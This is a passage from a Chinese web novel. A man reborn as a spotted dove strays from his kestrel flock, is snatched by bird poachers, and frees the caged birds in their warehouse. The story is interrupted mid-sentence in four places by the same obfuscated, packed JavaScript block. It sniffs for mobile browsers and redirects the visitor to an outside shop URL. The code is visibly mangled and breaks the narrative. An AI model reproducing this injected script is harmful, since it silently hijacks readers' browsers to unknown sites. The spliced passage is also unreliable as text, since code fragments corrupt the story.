就在他以为今晚上他们得住在怨气升天的写字大楼附近时,朱海却没有停留的意思,带着他们一路往城市的另外一个边缘飞。 而越往那个方向,周围的居民楼就越多,烟火气也渐渐地多了起来。 八只鸟飞跃过跳广场舞的广场、喧闹的商业街、烟熏火燎的夜市,最后飞入了附近的一个种满花草植株的公园里,择了几棵稍微远离人群的树栖在上面。 即使是公园也十分符合这个城市的调性,小径上的路灯将园区可游览的地方照亮,不见昏暗之处。 这个点正是许多人刚结束晚饭的时间,有闲暇时间的便会带着自己的家人来公园散步消食,小孩和猫狗在草坪上追逐打闹,卖儿童玩具的地摊商贩也在叫卖吆喝的。 “唉。”安澄不自觉地叹了口气。 “怎么了?”朱河又凑到他的身边,脑袋顶在他的身上。“看见这么多人类害怕了?” 安澄挪动自己的爪子,转向公园内热闹的人群。“不是,说了你也不会懂的,唉……” 做人的时候想当自由自在的鸟,做了鸟又怀念当人的乐趣。 别的不说,他确实有些怀念自己的小屋了,也不知道还有没有机会能够回去,如果能够顺利地从北边回来的话,他一定要找个机会去看看。 不幸中的万幸就是他安澄没爹没娘,靠着国家的福利政策长大,也算是少了一些做人的牵挂。 这事要细想就会让人惆怅,但安澄是个不记事的性子,伤春悲秋了没几秒就又被其他的事情转移了注意力。 他看着站在树梢上啄羽毛的朱云深,恍然想起今天只顾着飞和听朱河侃大山,都忘了和自己正经的顶头大Boss增进感情了,于是立马就撅着尾羽颠颠地跳过去。 “大人~” 朱云深瞥了他一眼,没说话。 “大人你累不累?饿不饿啊?”安澄圆溜溜的眼睛一转,想到了方才看到的那条夜市街,不自觉地咽了咽口水。“想不想吃点东西啊?不如我们……”去夜市爽一爽。 话还没说完,就被朱云深给打断。“你要吃什么?” “啊?”安澄一愣,“就……什么都行。”如果能吃到炸串那当然是最好的。 朱云深颔首,“我知道了。” “待在这里,你要知道,不止红隼会吃珠颈斑鸠。”说着,他就振翅飞起,又在空中转对朱河说:“你留在这里看着。” “好好好!”朱河扑扇几下翅膀,还挺开心。“我要吃松鼠、吃松鼠,嘎哈哈哈——” 朱云深没说好也没说不好,只是又看了安澄一眼就扇着翅膀离开。 其他的红隼也相继离开去寻找食物,周围的几棵树就只剩下了安澄和朱河两只鸟,倏地一下变得安静起来。 他们隼眼对斑鸠眼地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806823|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相看了好一会儿,最终还是安澄先耐不住性子开了口。“那个……你饿不饿?” “你要奉献自己给我吃掉吗?”朱河倏地把脑袋凑过来,灰蓝色的喙差一点点就戳到安澄的脑袋。“那你要等阿深回来跟他说完遗言才行哦,不然他会揍死我的。” “emmm……让我想想是先吃你还是先吃阿深捉回来的松鼠呢……” 安澄慌慌张张地往后退了几步,用翅膀尖尖环抱住自己,警惕地看着朱河。“不是不是不是!我是问你想不想试试人类的食物?” “人类的食物?!”朱河收着翅膀在树枝上走了几步,“我吃过有种叫面包的东西,但是不好吃,哕——干巴巴的。” “呵。”安澄冷笑一声,挺直了自己的胸脯和脑袋。“那是你没吃过好的。” “人类在食物方面很有钻研,仅仅只是一只鸡都能分成鸡翅、鸡腿、鸡头、鸡胸肉等单独的菜肴。 “就说烤鸡腿,新鲜的鸡腿改花刀,腌制入味后放在烧烤架上炭火炙烤。等烤到表皮金黄酥脆、外焦里嫩再刷上独家酱料。趁热一口啄下去,便是满喙流油、喙齿留香,堪称夜市一绝! “然而夜市卧虎藏龙,美食绝不仅仅只有这一种,所有的摊位都有他们的独到之处。只要去过一次,就会流连忘返、乐不思蜀!” 朱河已经听得呆滞,口水险险地挂在张开的喙边,一不留神就会往下坠。 安澄内心得意哼笑一声。 没听说吧,乡巴鸟! 朱河后知后觉,仰着脑袋把自己的口水给收了回去,“真的假的?你们珠颈斑鸠不是吃素的吗?” “我骗你做什么?”对于第二个问题,安澄选择忽略。“前面就有条夜市街,我们趁他们没回来,偷偷去试试,怎么样?” 城市里食物难找,更何况朱云深还要找三只鸟的分量,应该没那么快回来的吧…… 朱云深肯定不会陪着他做这样的事情的,也绝对不会放任他一只鸟去,所以最好就是现在说服朱河跟自己一起。 “但是……”朱河有些犹豫。 多犹豫一分钟时间就少一分钟,安澄心里着急。“难道你堂堂猛禽连这样一点危险的事情都不敢做吗?而且过了这个村就没这个店,这次不去,今年就没机会啦!” “好!”朱河下定决心般,“身为猛禽,我还会怕不成?走!” “走走走。”安澄见游说成功,心中狂喜,当下便扇动翅膀飞了起来。“我们快点。” 朱河跟在他的身后,两鸟离开尚算安静的休息地,朝着人群喧闹的方向飞去。 可幸运之神好似永远也不会眷顾安澄,才飞出不到几米,他们就被集群里的红隼朱树给拦住了去路。 朱树没看安澄,直接对着朱河说:“深哥找你,说松鼠太大不好带,让你自己去拿。” “现在吗?”朱河也一下泄了气,眼睛看看安澄又看看朱树,最后还是妥协了。“好吧,阿深在哪里?” “那边。”朱树给他指了一个方向。 朱河再看了安澄几眼,依依不舍地挥翅离开。 失去了战友的安澄原地石化,着对方无情离去的背影,心中无限悲凉。 天欲亡他!!! 烤鸡翅、烤鸡腿、烤猪蹄今晚上等不到他,会寂寞的吧?一定会的吧?! 还没悲痛完,安澄就突然听到朱树说:“你不是要去夜市?愣着做什么?快点,待会儿他们回来了。” 半暗下去的斑鸠眸倏地亮起来。 “好好好,走走走!” 11. 斑鸠逃跑了怎么办? “深哥,那只珠颈斑鸠跑了。” “什么?!”朱河大惊失色,拧着脑袋看着一旁的朱云深。 朱云深一回到休息地就听见这个消息,面上的表情变得冷淡了些,他左右看了一圈,发现周围确实不见那个笨拙的鸟影。 将嘴中叼着的果实放下,他冷声问:“怎么弄的?” 朱树模样犹豫,将视线放在朱云深后面的朱河身上。 “直接说。” 听到朱云深这样说,他才吞吞吐吐地开口。“那只珠颈斑鸠说他想去人类的夜市尝尝人类的食物,我陪他去了,谁知道他竟然在半路趁我不注意的时候逃跑了。” 此话一出,跟在一旁的朱河没忍住扇动了几下翅膀。 朱云深回头去看他,两隼对视一会儿,朱河没顶住那视线的压迫,自己招了出来。“安澄确实有这样的想法来着,之前还想说服我跟他一起去,但后面的事情我就不知道了。” “毕竟是一只珠颈斑鸠,不想跟我们待在一起也是正常的。”朱树面露了然,“刚飞进这座城市的时候,我就看见他在四处打量,可能那个时候就已经做好了逃跑的计划。” 说着,他又叹了口气。“看来这次注定没办法带着新成员一起迁徙了。” 朱河没说话,他既觉得朱海这番话说得有些道理,又感觉有什么地方隐隐不对。 主要是,安澄那么笨的脑子能够骗过他? 他不信! 朱云深也兀自沉默着,不知在想些什么。 氛围僵持了一会儿,朱海他们也回来了,看着神情不太对的几只隼,他也隐隐察觉到大事不妙。“发生什么了?” 朱树眼睛在朱云深和朱河身上转了一圈,赶忙对着其他隼解释道:“那只珠颈斑鸠跑了。” “跑了?”众隼惊呼。 “是。”朱树点点头。“深哥这么厉害的隼,还对他这么好,结果他还是跑了,看来珠颈斑鸠就是养不熟的鸟。跑了也好,免得再拖累我们迁徙的进程。” 朱海搭腔,转而看向一直没有说话又面无表情的朱云深。“阿深?” “嗯,我知道了。”朱云深倏地展开羽翼,对着朱海丢下了一句话。“我去找他。”随后挥翅离开。 一众红隼你看我我看你,也不知道该说些什么,最后一一散开,做自己的事情去了。 唯独朱川还留在原地,她啄了啄自己的翅膀,瞥了一眼朱树。“他真的走了?” === 安澄从来不知道流浪猫竟然有如此大的杀伤力,就在几分钟前,他被一只虎背熊腰的流浪狸花追着跑了十里地。 第一下的时候,那狸猫大怪就就抓掉不少他的翅羽,导致他扇动翅膀的时候没有办法保持身体平衡,为了尽快逃离猫爪,只能一边扑腾一边用双爪在地上狂奔。 翱翔天空的飞鸟竟然变成了走地鸡? 究竟是道德的沦丧,还是人性的泯灭? 而安澄好不容易把猫甩了,又迷了路,再十字路口两眼一瞪,分不清哪里是哪里,也忘了来的方向是哪一个。 累了一天,什么都还没吃到就算了,又饿着肚子来了一场亡命追击,天底下还有比他更惨的鸟吗? 没有了! “老天,你何其不公?!鸟生,你何其不幸?!” “咕咕——咕咕咕——” 不过才喊几声,安澄就似乎又隐隐约约听见了猫叫,他立马收好翅膀,慌慌张张地拔爪就跑。 算了,先别想这些了。 鸟生短短几个秋,不吃不罢休。 去M记整点薯条! 附近正是繁华的商业街,不过拐了一个弯,安澄就看见了那个金灿灿的拱门。 “啊哈——”没有半点犹豫,他立刻撅着尾羽往里冲,一双粉色的小爪跑出残影。“薯条怪,受死吧!” 一只珠颈斑鸠突然出现在M记的店里,算得上是奇观,不过一会儿就吸引了许多人的关注。 有人小心翼翼地远观、有人发出声音逗弄、有人拿出手机记录下这罕见一刻。 安澄并不在意他们的态度,鸟为食亡,该放下尊严的时候就放下。 他腆着鸟脸跑到其中一个俯身观望他的女孩腿边,用自己圆乎乎的小脑袋蹭对方的腿,鸣管里发出清脆的叫声。 “咕咕~咕咕咕~” 把薯条交出来,快! “啊,他给摸诶!”那女孩惊呼一声,小心翼翼地伸手去碰安澄的脑袋。“好可爱,好软……” “咕咕,咕咕咕。” 哼,被我的可爱英俊美丽帅气的外表给征服了吧,女人。 安澄脚下一蹬,飞跳到那女孩的手背上,低下头轻轻地啄了啄,示意她赶紧把手抬上去。 他要赶紧去消灭那些危害世界的薯条怪!!! 不知是心有灵犀还是什么,那女孩如了他的愿,托着他的身体慢慢地往上移。 安澄眼疾翅快,在她手背堪堪齐平到桌面之时,猛地跳扑到桌子上,而后以迅雷不及掩耳之速将自己圆乎乎的小脑袋挤入薯条盒当中。 怕还没吃几口被逮出去,安澄大张着喙就是吃! 把那炸得外酥里软的薯条啄下来往肚子里咽,也不管嚼没嚼,味道在嘴里过了一遍就当作是吃了。 原味咸香软绵、沾了番茄酱的甜酥清新,安澄以前从来不知道薯条竟然这么好吃。 呜呜呜,做人真是幸福啊! -“诶,他能吃吗?鸟吃薯条不会有事儿吧?” -“这鸟怎么看起来不太聪明的样子啊?” -“嗨,珠颈斑鸠啊,这可是出了名的傻鸟,筑巢就只用两根树枝,下蛋下到空调外机的那种。” 珠颈斑鸠察觉到不对劲,珠颈斑鸠停下了吃薯条。 安澄慢慢地把自己的脑袋从薯条盒里面拔出去,用锐利凶狠勇猛霸气的眼神盯着那几个说自己的傻的人类,张开自己尖利的喙,威胁般地动了动脑袋。 那几个人类怔愣住了,看着他一动也不动。 “咕咕咕~” 呵,怕了吧,胆小的人类,竟然敢来挑战筑巢鸟王的威严! 不过几秒,呆楞住的几个人就有了反应,他们或是捧着脸颊、或是捧心大叫,纷纷朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806824|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安澄而来。 “啊啊啊,好可爱,脸上还沾了番茄酱~” “这么可爱的小鸟,生来就是要被亲死的!!!” “让我摸摸,让我摸摸~” 眼看着人类大军夹着嗓子直奔自己而来,安澄心中恐慌顿生,他低头把桌上薯条盒叼起,猛地扑扇翅膀开始往外面飞,比刚刚躲流浪猫的时候还要拼命。 开玩笑,不努力就会变成女人的玩物! 店内一阵鸡飞狗跳,几台手机怼着安澄的脸拍他的绝命逃亡,直到绒羽被蹭掉好几根,他才终于从那虎狼之地逃出。 劫后余生的安澄找了个安静的街角,躲着低头去检查自己的战利品,发现薯条盒当中的薯条被抖掉不少,现在已经见了底。 “可恶!”安澄小心翼翼地把薯条盒放下,用喙将开口合上。“剩下的带回去给大人吃吧,这么好吃的东西,那个该死的禽兽一定没吃过。” 此时夜已深,喧闹的城市似乎也变得安静了许多,天空一轮孤寂的圆月向下泼洒着清冷的光,无人途径的小巷道成为了被重点眷顾的对象。 安澄深呼吸一口吸收了一下日月精华,叼着薯条盒开始慢慢地往外走。 过了这么久了,也不知道朱树有没有发现他走丢了。 朱云深要是知道他不在了,会来找他吗?还是算了,想着反正他只是一只稍微会筑点巢的珠颈斑鸠而已,大不了到时候去抓一只园丁鸟。 园丁鸟本来就是鸟,一定会比他更有共同话题、比他更好养吧。 想到这里,安澄莫名地有些失落。 当然,他可不是因为什么乱七八糟的占有欲或者什么赶着上被人驱使的受虐心理,只是因为他堂堂筑巢鸟王走丢了也没鸟在乎的话,那也太没面子了一点。 臭隼,安澄心中暗骂一声。 但他的情绪来得快去得也快,不过多时就收拾好了心情继续往外走。 不过刚刚走出巷子口,安澄就听见了一道清脆而又聒噪的声音。 “你好,你是要带我去找我的爸爸吗?” “但是我的爸爸不住在这边,我的爸爸住在翻斗花园。” “哦不对不对,这个也不是我的家,这个是图图的家。” “那我的家是在哪里呢……” “我也不记得了怎么办啊?没关系的没关系的,爸爸会来找我的,有爸爸的小鸟不用记住家庭住址也是可以的。” 说话的这个也是小鸟? 听声音似乎年纪还很小,好像还是一只宠物鸟。 自从被朱云深捉走之后,安澄就没有近距离接触过除了红隼之外的其他鸟类,更何况是被人圈养的鸟。 好奇心突起,他靠着墙壁慢慢地探出了自己灰蓝色的小脑袋。 哪知没来得及细看,面前就突然出现了一双男士运动鞋,再往上,是一双穿着牛仔裤的腿。 还没等他看清这腿主人的脸,一个黑色的大布袋就兜头盖脸地朝着安澄盖来。 等安澄察觉到不对劲想要逃跑时已经迟了,袋口被收紧,一丝光芒也透不进,他扑扇着翅膀怎么也飞不出去。 12. 要被卖了怎么办? 安澄知道有抓流浪猫流浪狗的,但没想到竟然还有抓流浪鸟的。 而且这人的行为突兀、动作鲁莽,看起来也不像是林业局来放归野生鸟的。 难道是偷鸟的? 不无这样的可能,现在把鸟当作宠物养的也不在少数,抓捕之后二次贩卖也是有可能的。 想清楚这些之后,安澄慢慢地不再挣扎,为待会儿找准时机的逃跑省些力气。 他是停下了动作,而那道清脆的声音还在耳边响。 “叔叔,这里好黑啊,我有点喘不过气来了。” “我好想我的爸爸啊,爸爸什么时候来找我呀?” “唉,自从有了小弟弟,笨蛋爸爸就总是丢三落四的。” 可不知道是嫌那小鸟太吵还是什么,那人类突然恶狠狠地低吼了一声。“闭嘴。” 说完,安澄听见挥动拳头的声音,不过一会儿,那只小鸟就尖叫了起来。 “啊啊啊——好痛,好痛……呜呜呜,爸爸救我……” 估计是真的吃了痛,那鸟的叫声歇斯底里,还隐隐带着哭腔,安澄仅仅是听着都觉得于心不忍。 但他又不敢开腔安慰,怕被这个男人想起他的存在。 将他给揍一顿事小,惹恼了男人杀鸟灭口才是真的歇菜,现在只希望这只听起来傻乎乎的小鸟能够自己乖一点。 安澄心中忐忑,蜷缩在黑袋子的角落里,不停担忧会被带到什么地方。 突然,他听见一道声音。 “深哥,这件事情其实也有我的错,是我没看好他,我跟你一起找吧。” 是朱河! 安澄橙黄色的小眼睛一下就睁大了。 而后,有另外一个声音回答道:“先不谈这些,把他找回来再说。” 是朱云深,是朱云深!!! 朱云深来找他了,朱云深没有打算丢下他去另找会筑巢的小鸟! 安澄心中按捺不住,立刻扑扇起自己的翅膀,提着嗓子声嘶力竭地喊:“大人!大人!是我安澄,我在这里,我被关到了一个小袋子里!” “朱河,朱河!快救我,我被抓起来了!” 可刚刚喊了两声,安澄就被一个大掌隔着袋子住鸟头,脖颈被掌心边缘用力压住,喙被两指狠狠捏着。 好痛,好痛。 “救我……”最后两个字从他的鸣管中挤出,掐在他头上的手越发用力。 快要,不能呼吸了。 下一刻,套着他的黑色布袋忽然被打开一条小缝,摩登城市如白昼般的灯光泄露进来,安澄看见光如看到生的希望一般,重新开始奋力地扑扇翅膀,细小的绒羽在挣扎之间飞了好几片。 然而希望是渺茫的、光亮是短暂的。 有个喷头突然从那个细小的口子伸进来,带着奇异味道的气体从喷头里散出,整个布袋都被染满了味道。 压在安澄身上的手松开,脱离束缚的安澄下意识地开始呼吸,但也将这些气体给吸入了肺中。 很快,他的翅膀就没有了力气,身体变得沉重,整只鸟也开始昏昏沉沉。 用尽最后的力气,安澄扯着嗓子大喊一声:“朱——云——深——” 随后两眼一闭,不省鸟事。 === 再次醒来的时候,安澄发现自己被关在了一个十分狭小的铁笼子里,笼子内十分脏污,还残留着不知名鸟类前辈留下的、已经干涸了的排泄物。 笼子所在地是一个不算很大、光线十分昏暗的旧仓库,空气中尘土混合着发霉的味道。 而在这个仓库里,堆满了像关着他这样的鸟笼,已经有好些个里面锁上了鸟。 从家养的鹦鹉到野生的珠颈斑鸠、从三有的麻雀到国家一级的中华秋沙鸭,这些跨度极大、生活习性大相径庭的鸟类竟然在这间小小的仓库当中会了面。 而安澄也终于看见了那只聒噪小鸟的真面目——一只小小的玄凤鹦鹉。 这只可怜巴巴的小玄凤蜷缩在笼子的最角落,身上的羽毛被弄得乱七八糟,顶冠被拔走,脖子后面还秃了一小片,露出的肌肤隐约可见强行被拔毛后留下的血斑,被吓得不停地哭喊。 “爸爸……爸爸快来救我……呜呜呜……” “不喜欢人类,最讨厌人类了……” 哭得动情、哭得忘我、哭得不知天地为何物。 安澄左右环顾一圈,发现没人之后扭了个身体,把喙挤出去对着那只小玄凤。“喂,喂?噗哧噗哧——” “小玄凤,小鹦鹉?” “呜呜呜,呜?”小玄凤哭到一半突然停下,用翅膀尖尖扫了扫自己的头。“谁在叫我?是在叫我吗?” “诶,对对对,就是在叫你。”安澄又从缝隙挤出半条翅膀,对着小玄凤不停地挥舞。“看这里,看这里,是我!是一只勇猛帅气英俊美丽的珠颈斑鸠在叫你。” 小玄凤顺着声音看过去,发现了一只正在朝他挥手的大鸟。 “你是谁呀?”现在才从悲伤当中抽离出来的他,猛然发现事情的不对劲,将周围打量一圈后,他高声尖叫起来。“啊啊啊——这里是哪里?我要回家,我要回家!爸爸——” 这只不过成年人掌心大小的玄凤鹦鹉,在面临危险的时候爆发出了无限的尖叫潜力,啊的一声,就将其余笼子当中还在沉睡的鸟给唤醒了。 众鸟睁眼发现自己被锁在了陌生的地方,一时之间皆发出了惊恐的叫声,于是…… “叽叽叽——” “啾啾啾——” “嘎嘎嘎——” 各类富有特色的鸟鸣混杂在一起争响,加上旧仓库自带的回音效果,此场景可当得上一句:呕哑嘲哳难为听。 安澄用翅膀尖尖捂着自己的耳孔,缩到笼子的小角落。 吵死鸟了,吵死鸟了。 这群鸟怎么这么少见多怪、这么不淡定,万一把人给招来了怎么办? 这个念头刚生,旧仓库的门就被猛地打开,生锈的铁门发出嘎吱的沉闷重响,堆积在周围的灰尘飞扬起来。 一个穿着灰扑扑的男人从门外走进,身形不算高大,顶着一个很大的啤酒肚,满脸不耐,手里还握了一个套着发黄硅胶壳的手机。 虽然没看到抓他人的脸,但安澄肯定不是这个。 团伙作案? 男人紧皱着眉头,环视一圈,而后从门后捡了一根实心的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806825|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棍,接着不由分说地对着小玄凤的笼子砸下去。 “吵死了!”铁质的笼子被砸得凹陷下去,小玄凤被惊得乱扇动翅膀。“什么垃圾鸟也捡回来,老三真是吃了屎。” “再吵直接拔光你的毛,烤了做下酒菜。” 人类和鸟存在一定的语言障碍,但也并非完全不能对话,相处得久了,自然而然能够明白一些词汇所代表的含义,何况情绪是一种无需言语也能够感知到的东西。 作为家养的宠物,小玄凤此刻终于明白了自己的处境。 他不再尖叫和哭泣,夹着乱糟糟的羽毛,把脑袋埋入翅膀下面,不过人掌心大小的身体在不停地颤抖。 周围其他的鸟也逐渐安静了下来,亦如鹌鹑般缩瑟着。 眼见着一众鸟都收了声,男人也不再咒骂。 但他没有离开,而是掏出手机捣鼓一番,最后横屏将背面的摄像头对准锁在笼子里的鸟。 “各位老板,这是今天的新货。”他又用木棍不轻不重地敲了下小玄凤的笼子,“一只玄凤鹦鹉,有老板想养或者想试试水都可以,或者到量了附送。” 镜头很吝啬地只在小玄凤面前停留了几秒,随后迅速转到旁边的笼子前。“一笼子麻雀,可以串串,毛也很整齐,挂起来也可以。” “这是一只冠斑犀鸟,这种鸟很多都是住在悬崖的石洞上,很难抓的,而且这只肚子里还怀着蛋。”男人一伸手,打开笼子将里头有些萎靡的鸟抓了起来,扫了扫腿羽,将鸟的下腹露出。“人有转运珠,鸟也有啊!这还是一只一级,精血入口、霉珠破落,以后就大富大贵、财运亨通。” 说着,又像是想到什么,那男人将手中的冠斑犀鸟翻了个身去拍脸,“还活着,都还活着啊,只是麻药还没过。” 语罢,将鸟放了回去,重新给笼子落了锁。 男人就这样举着手机一一拍过旧仓库内所有的鸟,嘴中还说着一些语义不明的话。 最后终于轮到了堆在角落的安澄。 “一只珠颈斑鸠,”男人用木棍隔着笼子戳了戳安澄的羽毛,“这个月份这种鸟很常见,但也不太好抓,这只比较笨。” 安澄:??? “脖子上的羽毛可以收藏,味道也不错,没试过水的老板可以尝尝鲜。” 味道、试水、尝鲜…… 直到听到这几个词,安澄才彻彻底底地理清楚这些人抓鸟是为了什么。 根本就不是什么抓流浪鸟当宠物卖,而是非法盗猎、私自贩卖!!! 或许一些珍贵的鸟类会被买家偷偷饲养起来,但大多数鸟的命运都是被拔光羽毛、摆盘上桌。 这比安澄一开始预想的还要糟糕! 如果只是当作宠物还有活法,现在无疑是死路一条。 想清楚这些之后,安澄的淡然也维持不住了,他看着那个怼在自己面前的手机,就像是看着阎王的生死簿。 或许拍摄他的视频已经被发了出去、或许已经有人看中了他的羽毛或者味道、或许他已经成为了即将发货的商品…… 虽然天天说着想死,但安澄也不是真的打算死啊!!! 不行,不行,得想个办法自救。 13. 接下来该怎么办? 安澄装得乖巧、装得痴傻,就窝在笼子里一动也不动地任男人去拍,男人对他的表现似乎也很满意,总之没生太多的事端。 拍摄刚刚结束,男人的手机就传来了一阵铃声。 “歪?诶,是我,有啊,有货……”一边与电话那头的人通话,他一边往旧仓库外面走。 安澄不动声色地盯着他的背影,直勾勾地看着他将门从外面关上。 直到再也听不见男人的声音,安澄才重新开始有动作。 他再一次转头看向目前来看最活泼有精力的小玄凤,把喙从鸟笼的缝隙挤出去,“咻咻咻——biubiubiu——小玄凤?小鹦鹉?” 生怕再把男人吸引进来,他的声音压得很低。 小玄凤颤颤巍巍地把自己的脑袋从羽毛里拔出来,扭头看向他,准备张喙之际,却被安澄给拦下。 “嘘嘘嘘,你可别再尖叫了!再吵着他们,等下真的要拔了你的羽毛烤来吃了。” 他是真的怕了这小玄凤的音波攻击了,怎么这么小小的一个身体里面,藏着这么密的话呢? 应该跟他学习一下如何做一只安静、娴雅、端庄的鸟。 小玄凤转着脑袋将周围快速地扫了一圈,缩在角落里面不说话了。 “诶,你也别蔫啊!”安澄干脆把自己的翅膀也挤了出去,“我问你,你想不想逃出去,想不想去找你的爸爸?” 听到了关键词,小玄凤又颤颤地抬起脑袋看向安澄。 “只要你听我的话,我就帮你逃出去,怎么样?”他压着自己的声音,努力让语气尽量变得柔和可亲、让表情看起来更睿智坚定。“等你逃出去之后,你就可以想做什么做什么了,也不用被打了。” 小玄凤的神情有些犹豫,喙张合几下也没说出话。 和蔼·可亲·温柔的安澄:“没事儿,你现在可以说话了,小声点就行。” “哦。”小玄凤瞥了他一眼,又往角落缩了缩。“可是你是珠颈斑鸠诶,这种鸟不都是笨笨鸟吗?真的可以帮我逃出去找爸爸吗?” 无辜·躺枪·被攻击的安澄:??? 今天他就要打死这只被宠坏的家养无礼小鸟,国家一级都拦不住!!! 然而这道小小的鸟笼还是阻挠了他筑巢鸟王的寻仇之路,逼着他不得不把暗火往肚子里咽。 莫生气莫生气,气出病来无人替。 安澄深呼吸好几下,心中念了好几遍清心咒才把怒意压下去,面上又换上了笑。“呵呵,呵呵呵。每只鸟的体质不一样嘛,我是比较聪明的那一只。” “你真的不相信我?”他看了眼仍旧平静着的旧仓库大门,“你要是不快点做决定,这些人类就要把你卖了当下酒菜了哦,你就再也见不到你爸爸了哦。” 心怀希望与寄托,总是不会想要结束生命的。 这一点,人和鸟都是一样。 小玄凤几番犹豫,但还是慢慢地走到离安澄最近的鸟笼角落。“那你要怎么做啊?” “你往左边看。”安澄指挥着小玄凤。 他刚刚仔细地观察过了,这鸟笼就是最普通的劣质喷漆铁丝鸟笼,锁也是最简单的那种按捏开关。 对于普通的鸟类而言,可能短时间内理解这样的开关有些困难,但是安澄可是做了二十多年的人,这样简单的机关扫几眼就能看出大概。 也不是安澄不愿意自己解决,而是着铁丝缠出的缝隙其实很小,但他的体型偏大,喙和翅膀很努力也才能挤出一点,加之这个按捏开关要同时将两个一起按下才能将鸟笼打开,他自己一只鸟就更加不能做到了。 “看见那两个圆圆扁扁的圈了吗?” 小玄凤听话地走到鸟笼的最左边的,探着脑袋去观察那面铁笼。“看见了,是这个吗?” “是是是。”安澄连忙点头,“刚刚那个人类已经打坏了其中一个,你只需要把剩下的那一个打开,就可以飞出去了。” “但是要怎么打开啊?”小玄凤抬起细细小小的爪子,在空中挥了好几下也没真敢去碰。“我不会呀。” “没事儿,我教你。”安澄又把自己的头往外挤了挤,一张俊俏的鸟脸被铁丝网分割成几块,软乎乎的毛被勒得炸开。“你先把自己的嘴伸出去,怼在那个小圆圈的一边。” 小玄凤按照他的指示把喙给伸了出去。 他的体型刚好能适应这个鸟笼的尺寸,整个喙基贴在开关的一侧都尚有余地。 “这样吗?” 安澄猛点头,“对!” 虽然聒噪了一点,但这是一只听得懂鸟话的鸟,他心下振奋不少。 “接着你再抬起自己的爪子,放到另外一边。” 小玄凤乖巧地照做,摆好姿势之后看向安澄。“然后呢?” “然后你的嘴和爪子一起用力。”安澄一边说,一边给他比划着演示了下,“假装那个东西不存在,拿你的爪子去碰你的嘴,用力地碰!” 他尽量使用了最通俗易懂的语言,而幸好这小玄凤的智商也不低,一点就通。 鹦鹉作为一种攀禽,能用脚的时候就会用脚,因此爪子还是很有力量的。 按照安澄的方法,他攒着劲用力了一会儿,那按捏的开关就从卡扣上脱了出来。 细微的咔嚓声让胆子本就不大的小玄凤一惊,他下意识地松开喙和爪子,装有弹簧的鸟笼盖没了挂住的力,砰的一声弹开。 四四方方的鸟笼有了开口,小玄凤又是紧张又是激动,爪子和翅膀齐齐动用。 甫一钻出去,小玄凤就克制不住了,“我出来了,我出来了!”鹦鹉头兴奋地摇晃,脑袋在空中一点一点的。 “嘘嘘嘘——”安澄被这小鹦鹉急个半死,“你先别叫,把人吸引进来又要把你关进去。” 小玄凤立刻噤声。 “过来,来!”安澄招动自己的翅膀尖尖,“来把我的笼子也打开,用刚刚一样的方式。” 聒噪的小玄凤知恩图报,听话地扇动翅膀到安澄的鸟笼边。 关着安澄的鸟笼两个按捏开关都是完好的,不过在两只鸟配合之下,鸟笼还是很顺利地被打开了。 从笼中逃脱的安澄几乎要喜极而泣,混合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12806826|135214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着尘土的空气似乎都变得清新了些。 接下来,就是该考虑下一步怎么做了。 实际上现在最好的做法就是他和小玄凤找个高处的房梁藏起来,等这群人下一次开门做交易的时候,找机会飞离这里。 反正他们一只鹦鹉、一只常见的珠颈斑鸠,也没什么太大的价值。 可安澄犹豫再三,还是没有选择这样做。 说他圣母也好、优柔寡断也罢,总之他无法做到眼睁睁地看着其他鸟被处理。 带着小玄凤逃出去之后是可以去报警、去找林业局,但能不能在陌生的城市迅速找到他们是一码事、找到之后人类能不能听懂他的鸟语又是另一回事。 其中耽误的时间,可能足够这些鸟被摆盘上餐桌了。 他不想这样。 安澄不想。 他狠狠一闭喙,“走,我们把其他的鸟也放出来。” 拼一把就拼一把,大不了就是死,死了做鸟鬼来报复这群人类。 小玄凤现在唯安澄事从,对于他的任何决定都没有异议。 两只鸟就这样悄无声息地将所有笼子都给一一打开,原先被关着的鸟都从里面飞了出来,原先萎靡的精神也抖擞不少。 